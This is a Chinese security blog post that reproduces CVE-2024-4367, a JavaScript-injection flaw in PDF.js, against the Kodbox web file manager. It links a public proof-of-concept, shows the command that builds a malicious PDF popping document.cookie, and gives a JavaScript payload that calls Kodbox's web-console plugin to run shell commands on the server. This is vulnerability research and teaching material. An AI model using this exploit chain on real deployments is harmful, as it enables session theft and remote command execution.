1.CVE-2024-4367 介绍

PDF.js是一个由Mozilla开发的、广泛使用的开源便携式文档格式 (PDF) 查看器,可以在Web浏览器中显示PDF文档,而无需依赖任何本地插件PDF.js被内置于Mozilla Firefox中,也可被其他Web浏览器使用。
Mozilla PDF.js 4.2.67之前版本在font_loader.js 中存在代码注入漏洞,当PDF.js 配置isEvalSupported 选项设置为 true(默认值)时会将输入传递到 函数,威胁者可通过诱导用户打开恶意PDF文件来利用该漏洞,成功利用可能导致在登录用户或托管域的上下文中执行任意JavaScript。

影响范围:

  • Mozilla PDF.js < 4.2.67
  • pdfjs-dist (npm) < 4.2.67
  • react-pdf (npm) < 7.7.3
  • 8.0.0<= react-pdf (npm) < 8.0.2

2.漏洞复现

测试的时候是当下的最新版本 1.52

73120-7f9lia0hgl5.png

需要安装官方插件PDF阅读器,版本也为当下最新1.47

32435-dglie7f4hd.png

然后下载利用poc

https://github.com/LOURC0D3/CVE-2024-4367-PoC

然后生成一个弹cookie的poc.pdf文件

D:\CVE-2024-4367-PoC-main> .\CVE-2024-4367.py "alert(document.cookie)" 
[+] Created malicious PDF file: poc.pdf
[+] Open the file with the vulnerable application to trigger the exploit.

上传后打开

49122-b4ugt8nhba9.png

我们可以利用可道云终端插件来执行命令,这里是如果已经按照终端插件的情况下才能使用,或者使用js去按照插件后利用

var xhr=new XMLHttpRequest(),url='/plugins/webConsole/lib/';xhr.open('POST',url,!0),xhr.setRequestHeader('Content-Type','application/json'),xhr.setRequestHeader('X-Requested-With','XMLHttpRequest'),xhr.onreadystatechange=function(){4===xhr.readyState&&200===xhr.status&&(alert(JSON.parse(xhr.responseText).result.output))};var cmd='id',data={'jsonrpc':'2.0','method':'run','params':['NO_LOGIN',{'user':'','hostname':'','path':''},cmd],'id':1},jsonData=JSON.stringify(data);xhr.send(jsonData); 

生成漏洞pdf文件
95176-8gc9rnnddq6.png

然后上传后访问成功执行命令

47101-l2zqhzo46y.png

Last modification:July 27, 2024
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/kodbox-CVE-2024-4367.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢